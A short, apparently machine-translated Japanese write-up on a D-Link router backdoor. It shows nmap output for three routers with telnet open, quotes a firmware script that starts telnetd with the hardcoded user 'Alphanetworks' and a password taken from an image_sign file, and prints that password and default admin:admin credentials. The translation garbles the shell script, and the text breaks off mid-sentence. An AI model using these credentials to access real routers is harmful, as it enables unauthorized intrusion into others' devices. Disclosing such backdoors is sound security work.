D-Linkルーターのバックドア

ルート@ bt：〜＃nmap -sSV -p 23 192.168.178.133,144,222
2013-04-30 13:42 CESTにNmap 6.01（ nmap.org ）を開始
192.168.178.133のNmapスキャンレポート
ホストが稼働しています（0.0067秒の遅延）。
ポートステートサービスバージョン
23 / tcpオープンtelnet D-Link 524、DIR-300、またはWBR-1310 WAP telnetd
MACアドレス：1C：BD：B9：A7：7F：74（D-link International PTE Limited）
サービス情報：デバイス：WAP

192.168.178.144のNmapスキャンレポート
ホストが稼働しています（0.0068秒の遅延）。
ポートステートサービスバージョン
23 / tcpオープンtelnet D-Link 524、DIR-300、またはWBR-1310 WAP telnetd
MACアドレス：00：26：5A：38：7D：77（D-Link）
サービス情報：デバイス：WAP

192.168.178.222のNmapスキャンレポート
ホストが稼働しています（0.0031秒の遅延）。
ポートステートサービスバージョン
23 / tcpオープンtelnet D-Link 524、DIR-300、またはWBR-1310 WAP telnetd
MACアドレス：34：08：04：DB：6D：FE（D-Link）
サービス情報：デバイス：WAP

./rootfs/etc/scripts/misc/telnetd.sh
＃！/ bin / sh
image_sign = `cat / etc / config / image_sign`
TELNETD = `rgdb -g / sys / telnetd`
if ["$ TELNETD" = "true"]; それから
echo "telnetdを開始..."> / dev / console
if [-f "/ usr / sbin / login"]; それから
lf = `rgdb -i -g / runtime / layout / lanif`
telnetd -l "/ usr / sbin / login" -u Alphanetworks：$ image_sign -i $ lf＆
他に
telnetd＆
fi
fi
root @ bt：〜/ firmware / DIR300-extracted＃cat rootfs / etc / config / image_sign
wrgg19_c_dlwbr_dir300

＃cat var / etc / httpasswd
管理者：管理者

または：